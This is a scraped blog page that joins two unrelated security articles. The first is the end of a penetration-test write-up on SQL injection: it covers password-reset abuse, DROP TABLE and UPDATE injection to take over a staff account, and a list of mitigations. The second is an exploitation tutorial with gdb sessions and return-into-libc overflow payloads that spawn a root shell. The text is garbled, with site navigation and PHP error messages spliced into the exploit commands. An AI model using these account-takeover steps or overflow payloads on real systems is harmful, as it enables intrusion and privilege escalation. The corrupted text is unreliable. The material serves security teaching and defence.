The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.
Brute-force password guessing
One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.
The database isn't readonly
So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query. The most drastic example is:
The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.
Adding a new member
Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:
- We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
- The web application user might not have
INSERTpermission on thememberstable. - There are undoubtedly other fields in the
memberstable, and some may require initial values, causing theINSERTto fail. - Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
- A valid "member" might require not only a record in the
memberstable, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.
Mail me a password
We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.
Other Approaches
In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.
- Use xp_cmdshell
- Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
- Map out more database structure
- Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.
Mitigations
We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.
- Sanitize the input
- It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them. The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 @.-_+There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches!In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
- Escape/Quotesafe the input
- Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
[CODE type=sql]SELECT fieldlist FROM customers WHERE name = 'Bill O''Reilly'; -- works OKHowever, this naive approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits ' to escape a quote, so after input of '; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
The expression
'''is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function
mysql_real_escape_string(), perl DBD method$dbh->quote($value).These methods must be used .
- Use bound parameters (the PREPARE statement)
- Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters. Here's an example in ASP.NET:
Dim thisCommand As SQLCommand = New SQLCommand("SELECT email,userid " & _
"FROM members WHERE email = @email", Connection)
thisCommand.Parameters.Add ("@email", SqlDbType.VarChar).Value = Request.QueryString("email")
SqlDataReader dr = thisCommand.ExecuteReader()Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
- Limit database permissions and segregate users
- In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
- Use stored procedures for database access
- When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
- Isolate the webserver
- Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
- Configure error reporting
- The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.
Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.
Conclusion
We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.
This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.
But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.
Thanks to David Litchfield and Randal Schwartz for their technical input to this paper.
- Foundstone Free Tools (1)2009/01/21
- Unix/Linux ?댄 (1)2007/07/06
- ? (0)2007/05/10
- SQL Injection Attacks by Example (0)2007/04/30
- ?댄 (0)2007/01/12
- ?댄 (0)2007/01/12
- [HWP] ? (0)2006/12/17
- [PDF] BackdoorTrojan (0)2006/12/17
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/2870
- 댓글 남기기
How to Exploit Overflow Vulnerability Under Fedora Core
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- How to Exploit Overflow Vulnerability Under Fedora Core -
by vangelis(vagelis@wowhacker.org)
Email: progressfree at hotmail.com
** This paper is based on beist(http://www.beist.org)'s wonderful article
"One Shot Overflow Attack Under Fedora Core2" **
Thanks to beist!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
<cont>
-=[Contents]=-
1. What is Fedora Project
2. Limits of Classical and Return-into-libc Overflow Technique
3. What is exec-shield
4. A Good Hammer to Break Down 'exec-barrier'
1. What is Fedora Project?
You can find what Fedora Project is in the project homepage(http://fedora.redhat.com).
Read the section "What is The Fedora Project?" in the main page:
The Fedora Project is a Red-Hat-sponsored and community-supported
open source project. It is also a proving ground for new technology
that may eventually make its way into Red Hat products. It is not a
supported product of Red Hat, Inc.
The goal of The Fedora Project is to work with the Linux community
to build a complete, general purpose operating system exclusively
from free software. Development will be done in a public forum. The
project will produce time-based releases of Fedora Core about 2-3
times a year with a public release schedule.The Red Hat engineering
team will continue to participate in the building of Fedora Core &
will invite and encourage more outside participation than was
possible in Red Hat Linux. By using this more open process, we hope
to provide an operating system that uses free software development
practices and is more appealing to the open source community.
Now, Fedora Core 3 is available(http://fedora.redhat.com/download/#download). The one of the
main changes between previous version of Red Hat Linux(for example, Red Hat 8, 9.)and Fedora
Core is the supply of exec-shield(http://people.redhat.com/mingo/exec-shield). This makes it
difficult for attackers to exploit overflow vulnerability under the circumtances of Fedora
Core.
2. Limits of Classical and Return-into-libc Overflow Technique
You can use 'classical' overflow technique to exploit the systems till Red Hat Linux 8.
Red Hat Linux 9 supplied random stack policy, and some systems supply non-executable stack,
but we can overcome the security policies by using the return-into-libc technique. You can
find various aticles including mine(http://neworder.box.sk/newsread.php?newsid=12476) about
these. I have done test mostly in Red Hat system. So, now I just attach a test in Debian
Sarge system. The following technique was first used to overcome non-executable and random
stack. This is just for showing a methodology.
------------------ test in Debian ---------------------------------------------------------
vangelis@Sarge8:~/bof$ cat > ch.c
vangelis@Sarge8:~/bof$ su
Password:
Sarge8:/home/vangelis/bof# gcc -o ch ch.c
Sarge8:/home/vangelis/bof# cat > vul.c
Sarge8:/home/vangelis/bof# gcc -o vul vul.c
Sarge8:/home/vangelis/bof# ./ch
Put the file name you want to chown and chmod: vul
Sarge8:/home/vangelis/bof# ls -l vul
-rwsr-xr-x 1 root root 11921 2004-11-05 09:04 vul
Sarge8:/home/vangelis/bof# su vangelis
vangelis@Sarge8:~/bof$ env
TERM=vt100
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
:
vangelis@Sarge8:~/bof$ export TERM="vt100;/bin/sh"
vangelis@Sarge8:~/bof$ env
TERM=vt100;/bin/sh
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
:
vangelis@Sarge8:~/bof$ gdb vul
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x804836a
(gdb) r
Starting program: /home/vangelis/bof/vul
Breakpoint 1, 0x0804836a in main ()
(gdb) x/50x $ebp
0xbffffa88: 0xbffffb14 0x4003b7f8 0x00000001 0xbffffb14
0xbffffa98: 0xbffffb1c 0x00000000 0x4015dedc 0x400164a0
0xbffffaa8: 0xbffffaa0 0x080483a0 0xbffffa90 0x4003b7b4
0xbffffab8: 0x00000000 0x00000000 0x00000000 0x40016c40
0xbffffac8: 0x00000001 0x080482a0 0x00000000 0x4000bbe0
0xbffffad8: 0x4000c290 0x40016c40 0x00000001 0x080482a0
0xbffffae8: 0x00000000 0x080482c1 0x08048364 0x00000001
0xbffffaf8: 0xbffffb14 0x080483a0 0x08048400 0x4000c290
0xbffffb08: 0xbffffb0c 0x00000000 0x00000001 0xbffffc01
0xbffffb18: 0x00000000 0xbffffc18 0xbffffc28 0xbffffc3b
0xbffffb28: 0xbffffc64 0xbffffc77 0xbffffc85 0xbffffeba
0xbffffb38: 0xbffffec6 0xbfffff00 0xbfffff18 0xbfffff24
0xbffffb48: 0xbfffff3b 0xbfffff4d
(gdb) x/s 0xbffffc01
0xbffffc01: "/home/vangelis/bof/vul"
(gdb) x/8wx 0xbffffb1c
0xbffffb1c: 0xbffffc18 0xbffffc28 0xbffffc3b 0xbffffc64
0xbffffb2c: 0xbffffc77 0xbffffc85 0xbffffeba 0xbffffec6
(gdb) x/s 0xbffffc18
0xbffffc18: "SHELL=/bin/bash"
(gdb) disas main
Dump of assembler code for function main:
0x08048364 <main+0>: push %ebp
0x08048365 <main+1>: mov %esp,%ebp
0x08048367 <main+3>: sub $0x28,%esp
0x0804836a <main+6>: and $0xfffffff0,%esp
0x0804836d <main+9>: mov $0x0,%eax
0x08048372 <main+14>: sub %eax,%esp
0x08048374 <main+16>: mov 0xc(%ebp),%eax
0x08048377 <main+19>: add $0x4,%eax
0x0804837a <main+22>: mov (%eax),%eax
0x0804837c <main+24>: mov %eax,0x4(%esp)
0x08048380 <main+28>: lea 0xffffffe8(%ebp),%eax
0x08048383 <main+31>: mov %eax,(%esp)
0x08048386 <main+34>: call 0x8048288 <_init+56>
0x0804838b <main+39>: mov $0x0,%eax
0x08048390 <main+44>: leave
0x08048391 <main+45>: ret
0x08048392 <main+46>: nop
0x08048393 <main+47>: nop
0x08048394 <main+48>: nop
0x08048395 <main+49>: nop
0x08048396 <main+50>: nop
0x08048397 <main+51>: nop
0x08048398 <main+52>: nop
0x08048399 <main+53>: nop
0x0804839a <main+54>: nop
0x0804839b <main+55>: nop
0x0804839c <main+56>: nop
0x0804839d <main+57>: nop
0x0804839e <main+58>: nop
0x0804839f <main+59>: nop
End of assembler dump.
(gdb) x/i setuid
0x400d4160 <setuid>: push %ebx
(gdb) x/i system
0x400668b0 <system>: sub $0x10,%esp
(gdb) q
The program is running. Exit anyway? (y or n) y
vangelis@Sarge8:~/bof$
## exploit payload ##
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
| data to overflow | (ret of printf) x n(dis from **env to *env[0]) | *setuid | *system |
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0xbffffa98: 0xbffffb1c 0x00000000 0x4015dedc 0x400164a0
----------
*-- (**env)
|
0xbffffaa8: | 0xbffffaa0 0x080483a0 0xbffffa90 0x4003b7b4
0xbffffab8: | 0x00000000 0x00000000 0x00000000 0x40016c40
0xbffffac8: | 0x00000001 0x080482a0 0x00000000 0x4000bbe0
0xbffffad8: | 0x4000c290 0x40016c40 0x00000001 0x080482a0
0xbffffae8: | 0x00000000 0x080482c1 0x08048364 0x00000001
0xbffffaf8: | 0xbffffb14 0x080483a0 0x08048400 0x4000c290
0xbffffb08: | 0xbffffb0c 0x00000000 0x00000001 0xbffffc01
0xbffffb18: | 0x00000000 0xbffffc18 0xbffffc28 0xbffffc3b
| ----------
*-----------------> (*env[0])
(total 34)
vangelis@Sarge8:~/bof$ ./vul `perl -e 'print "A"x28,"\xc9\x5a\x07\x40"x34,"\x60\x41\x0d\x40",
"\xb0\x68\x06\x40"'`
sh-3.00# id
uid=0(root) gid=1003(vangelis) groups=1003(vangelis)
sh-3.00#
--------- End of Test ---------------------------------------------------------------------
Now I will demonstrate the limitations of 'classical' overflow and return-into-libc technique.
I use two technique in the following test. The test was performed in Fedora Core 2. I haven't
have a chance to test in Fedora Core 3 yet. If there are some serious differences in Core 3,
would you mail me and give an account in your 'own' Fedora Core 3 server to test? After I had
finished an overflow test in Fedora Core 2 system, Fedora Core 3 was released. I don't install
Fedora Core 3 due to my laziness.
------ Test by using classical overflow technique in Fedora Core 2 --------------------------
[root@testbed fedora]# cat > chogm.c
[root@testbed fedora]# gcc -o chogm chogm.c
[root@testbed fedora]# cat > vul.c
[root@testbed fedora]# gcc -o vul vul.c
[root@testbed fedora]# ./chogm
Put the file name you want to chown and chmod: vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x 1 root root 4729 11? 1 00:41 vul
[root@testbed fedora]#
+++++++++++++++
Use of eggshell
+++++++++++++++
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$ cat > egg.c
[vangelis@testbed fedora]$ gcc -o egg egg.c
[vangelis@testbed fedora]$ ./egg
Using address: 0xfee81c18
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>: push %ebp
0x08048371 <main+1>: mov %esp,%ebp
0x08048373 <main+3>: sub $0x18,%esp // 24 bytes are needed to overwrite
0x08048376 <main+6>: and $0xfffffff0,%esp
0x08048379 <main+9>: mov $0x0,%eax
0x0804837e <main+14>: sub %eax,%esp
0x08048380 <main+16>: sub $0x8,%esp
0x08048383 <main+19>: mov 0xc(%ebp),%eax
0x08048386 <main+22>: add $0x4,%eax
0x08048389 <main+25>: pushl (%eax)
0x0804838b <main+27>: lea 0xffffffe8(%ebp),%eax
0x0804838e <main+30>: push %eax
0x0804838f <main+31>: call 0x80482b0 <_init+56>
0x08048394 <main+36>: add $0x10,%esp
0x08048397 <main+39>: mov $0x0,%eax
0x0804839c <main+44>: leave
0x0804839d <main+45>: ret
0x0804839e <main+46>: nop
0x0804839f <main+47>: nop
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x8'`
?
멸렇硫?
壹
以瑜
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x30'`
?
멸렇硫?
壹
以瑜
[vangelis@testbed fedora]$
I failed in the test owing to the non-executable stack.
++++++++++++++++++++++++
use of return-into-libc
++++++++++++++++++++++++
[vangelis@testbed fedora]$ env
HOSTNAME=testbed
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
:
[vangelis@testbed fedora]$ export HOSTNAME="testbed;/bin/sh"
[vangelis@testbed fedora]$ env
HOSTNAME=testbed;/bin/sh
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
:
[vangelis@testbed fedora]$
[vangelis@testbed bof]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048376
(gdb) r
Starting program: /home/vangelis/bof/vul
Error while mapping shared library sections:
: ?
깃났.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Breakpoint 1, 0x08048376 in main ()
(gdb) x/50x $ebp
0xfeefe378: 0xfeefe3d8 0x0058cad4 0x00000001 0xfeefe404
0xfeefe388: 0xfeefe40c 0x00571f28 0x0068effc 0x00000000
0xfeefe398: 0xfeefe390 0xfeefe3d8 0xfeefe380 0x0058ca96
0xfeefe3a8: 0x00000000 0x00000000 0x00000000 0x00570fe0
0xfeefe3b8: 0x00000001 0x080482c0 0x00000000 0x00566840
0xfeefe3c8: 0x00567120 0x00570fe0 0x00000001 0x080482c0
0xfeefe3d8: 0x00000000 0x080482e1 0x08048370 0x00000001
0xfeefe3e8: 0xfeefe404 0x080483a0 0x080483e8 0x00567120
0xfeefe3f8: 0xfeefe3fc 0x0056d632 0x00000001 0xfefb4ba5
0xfeefe408: 0x00000000 0xfefb4bbc 0xfefb4be0 0xfefb4bf0
0xfeefe418: 0xfefb4bfb 0xfefb4c09 0xfefb4c32 0xfefb4c48
0xfeefe428: 0xfefb4c5d 0xfefb4c6b 0xfefb4e2e 0xfefb4e3a
0xfeefe438: 0xfefb4e45 0xfefb4e9b
(gdb) x/8x 0xfeefe40c
0xfeefe40c: 0xfefb4bbc 0xfefb4be0 0xfefb4bf0 0xfefb4bfb
0xfeefe41c: 0xfefb4c09 0xfefb4c32 0xfefb4c48 0xfefb4c5d
(gdb) x/s 0xfefb4bbc
0xfefb4bbc: "HOSTNAME=testbed;/bin/sh"
(gdb) x/i setuid
0x5fefc0 <setuid>: push %ebp
(gdb) x/i system
0x5ab5e0 <system>: push %ebp
(gdb) disas printf
Dump of assembler code for function printf:
0x005b92a0 <printf+0>: push %ebp
0x005b92a1 <printf+1>: mov %esp,%ebp
0x005b92a3 <printf+3>: sub $0x10,%esp
0x005b92a6 <printf+6>: mov %ebx,0xfffffffc(%ebp)
0x005b92a9 <printf+9>: mov 0x8(%ebp),%edx
0x005b92ac <printf+12>: lea 0xc(%ebp),%ecx
0x005b92af <printf+15>: call 0x58c90d <__i686.get_pc_thunk.bx>
0x005b92b4 <printf+20>: add $0xd5d48,%ebx
0x005b92ba <printf+26>: mov %ecx,0x8(%esp)
0x005b92be <printf+30>: mov 0xfffffe7c(%ebx),%ecx
0x005b92c4 <printf+36>: mov %edx,0x4(%esp)
0x005b92c8 <printf+40>: mov (%ecx),%edx
0x005b92ca <printf+42>: mov %edx,(%esp)
0x005b92cd <printf+45>: call 0x5b0620 <vfprintf>
0x005b92d2 <printf+50>: mov 0xfffffffc(%ebp),%ebx
0x005b92d5 <printf+53>: mov %ebp,%esp
0x005b92d7 <printf+55>: pop %ebp
0x005b92d8 <printf+56>: ret
0x005b92d9 <printf+57>: nop
0x005b92da <printf+58>: nop
0x005b92db <printf+59>: nop
0x005b92dc <printf+60>: nop
0x005b92dd <printf+61>: nop
0x005b92de <printf+62>: nop
0x005b92df <printf+63>: nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@testbed bof]$
[vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x28,"\xd8\x92\x5b"x34,"\c0\ef\x5f","\xe0\xb5\x5a"'`
?
멸렇硫?
壹
以瑜
[vangelis@testbed fedora]$ ./vul "`perl -e 'print "A"x28,"
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x00
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
xd8
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x92
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x5b"x34,"
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x00
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
c0
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
ef
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x5f",
"
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x00
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
xe0
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
xb5
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
x5a"'`"
?
멸렇硫?
壹
以瑜
[vangelis@testbed fedora]$
Even though I used an advanced return-into-libc technique, I also failed in the test.
--------- End of Test ---------------------------------------------------------------------
Now we can find it hard to apply the calssiacl & return-into-libc technique to exploitation.
This is because of the exec-shield. Let's check what exec-shield is.
3. What is exec-shield?
You can understand 'what exec-shield is' by redaing "ANNOUNCE-exec-shield". You can find
"ANNOUNCE-exec-shield" in "http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield".
"ANNOUNCE-exec-shield" is a detailed explanation about 'exec-shield'. Let's check essential
parts of "ANNOUNCE-exec-shield" for exploitation:
"The exec-shield feature provides protection against stack, buffer or
function pointer overflows, and against other types of exploits that
rely on overwriting data structures and/or putting code into those
structures. The patch also makes it harder to pass in and execute the
so-called 'shell-code' of exploits.
Background:
-----------
It is commonly known that x86 pagetables do not support the so-called
executable bit in the pagetable entries - PROT_EXEC and PROT_READ are
merged into a single 'read or execute' flag. This means that even if an
application marks a certain memory area non-executable(by not providing
the PROT_EXEC flag upon mapping it) under x86, that area is still
executable, if the area is PROT_READ.
Furthermore, the x86 ELF ABI marks the process stack executable, which
requires that the stack is marked executable even on CPUs that support
an executable bit in the pagetables.
This problem has been addressed in the past by various kernel patches,
such as Solar Designer's excellent "non-exec stack patch".These patches
mostly operate by using the x86 segmentation feature to set the code
segment 'limit' value to a certain fixed value that points right below
the stack frame. The exec-shield tries to cover as much virtual memory
via the code segment limit as possible - not just the stack.
Implementation:
---------------
The exec-shield feature works via the kernel transparently tracking
executable mappings an application specifies, and maintains a 'maximum
executable address' value.This is called the 'exec-limit'.The scheduler
uses the exec-limit to update the code segment descriptor upon each
context-switch. Since each process (or thread) in the system can have a
different exec-limit, the scheduler sets the user code segment dynamica-
lly so that always the correct code-segment limit is used.
:
Furthermore, the kernel also remaps all PROT_EXEC mappings to the so-called
ASCII-armor area, which on x86 is the addresses 0-16MB. These addresses
are special because they cannot be jumped to via ASCII-based overflows.
:
this means that not only the stack is non-executable, but lots of
mmap()-ed data areas and the malloc() heap is non-executable as well.
(some data areas are still executable, but most of them are not.)
the first 1MB of the ASCII-armor is left unused to provide NULL pointer
dereference protection and leave space for 16-bit emulation mappings used
by XFree86 and others.
:
Note that the kernel will relocate every shared-library to the ASCII-
armor, but the binary address is determined at link-time.
Limitations:
------------
This feature will not protect against every type of attack.
E.g. if an overflow can be used to overwrite a local variable which
changes the flow of control in a way that compromises the system.But we
do believe that this feature will stop every attack that is purely
operating by overflowing the return address on the stack,or overflowing
a function pointer in the heap. Furthermore, exec-shield makes it quite
hard to mount a successful attack even in the other cases, because it
inhibits the execution of exploit shell-code, in most cases.
also, if the overflow is within the exec-shield itself (e.g. within the
data section of one of the shared library objects in the ASCII-armor)
then the overflow might be possible to exploit.
also, it is possible to jump into the first 16MB even via ASCII attacks,
if the overflow string is short and the end-of-string \0 byte is used.
In this case it's not possible to pass arguments to the called function
though, making the attack quite hard to succeed.(But it's not impossible,
if there's a function in the binary that gives a root shell if simply
called, then that can be used for the attack.)
All in one, exec-shield is one barrier against attacks, not blanket 100%
protection in any way. The most efficient security can be provided by
installing as many layers as possible.
To provide as good protection as possible, there's no trampoline
workaround in the exec-shield code - ie. exec-limit violations in the
trampoline case are never let through. Applications that need to rely
on gcc trampolines will have to use the per-binary ELF flag to make the
stack executable again. (The ELF flag is the same as used by Solar
Designer's non-exec stack patch, to provide as much compatibility with
existing non-exec-stack installations as possible.)
The exec-shield feature will uncover applications that incorrectly
assumed that PROT_READ allows execution on x86."
:
I strongly suggest you to read the whole "ANNOUNCE-exec-shield" to understand 'exec-shield'.
Now I will summarize four main points of "ANNOUNCE-exec-shield" for readers.
1) "The exec-shield feature provides protection against stack, buffer or function pointer
